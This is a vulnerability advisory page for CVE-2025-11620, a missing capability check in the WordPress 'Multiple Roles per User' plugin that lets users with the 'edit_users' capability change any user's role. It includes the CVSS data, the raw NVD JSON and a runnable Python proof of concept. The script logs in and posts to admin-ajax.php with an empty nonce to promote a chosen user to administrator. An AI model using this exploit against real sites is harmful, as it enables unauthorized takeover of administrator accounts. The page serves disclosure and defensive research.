Security Vulnerability Report
中文
CVE-2025-11620 CVSS 7.2 HIGH

CVE-2025-11620

Published: 2025-11-18 09:15:47
Last Modified: 2026-04-15 00:35:42

Description

The Multiple Roles per User plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the 'mrpu_add_multiple_roles_ui' and 'mrpu_save_multiple_user_roles' functions in all versions up to, and including, 1.0. This makes it possible for authenticated attackers, granted the 'edit_users' capability, to edit any user's role, including promoting users to Administrator and demoting Administrators to lower-privileged roles.

CVSS Details

CVSS Score
7.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Multiple Roles per User plugin for WordPress <= 1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-11620 PoC - Multiple Roles per User Plugin Privilege Escalation # Target: WordPress site with Multiple Roles per User plugin <= 1.0 def exploit_privilege_escalation(target_url, username, password, target_user_id, target_role): """ Exploit the missing capability check in Multiple Roles per User plugin to modify any user's role without proper authorization. Args: target_url: WordPress site URL username: Attacker account with edit_users capability password: Attacker password target_user_id: ID of user to modify target_role: New role to assign (e.g., 'administrator') """ session = requests.Session() # Step 1: Login to WordPress login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } response = session.post(login_url, data=login_data, allow_redirects=True) if 'wordpress_logged_in' not in session.cookies.get_dict(): print("[-] Login failed") return False print("[+] Login successful") # Step 2: Exploit the vulnerability via AJAX endpoint ajax_url = f"{target_url}/wp-admin/admin-ajax.php" # Vulnerable parameters: mrpu_save_multiple_user_roles function exploit_data = { 'action': 'mrpu_save_multiple_user_roles', 'user_id': target_user_id, 'roles': [target_role], 'nonce': '' # No nonce validation in vulnerable version } response = session.post(ajax_url, data=exploit_data) if response.status_code == 200 and 'success' in response.text: print(f"[+] Successfully modified user {target_user_id} to role: {target_role}") return True else: print("[-] Exploitation failed") return False if __name__ == "__main__": if len(sys.argv) < 6: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password> <target_user_id> <target_role>") print("Example: python CVE-2025-11620.py http://target.com admin attacker123 1 administrator") sys.exit(1) target_url = sys.argv[1] exploit_privilege_escalation( target_url, sys.argv[2], sys.argv[3], int(sys.argv[4]), sys.argv[5] )

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11620", "sourceIdentifier": "[email protected]", "published": "2025-11-18T09:15:47.123", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Multiple Roles per User plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the 'mrpu_add_multiple_roles_ui' and 'mrpu_save_multiple_user_roles' functions in all versions up to, and including, 1.0. This makes it possible for authenticated attackers, granted the 'edit_users' capability, to edit any user's role, including promoting users to Administrator and demoting Administrators to lower-privileged roles."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/multiple-roles-per-user/trunk/multiple-roles-per-user.php#L121", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/multiple-roles-per-user/trunk/multiple-roles-per-user.php#L54", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/30741601-50b9-4799-a340-11f6ffa59553?source=cve", "source": "[email protected]"}]}}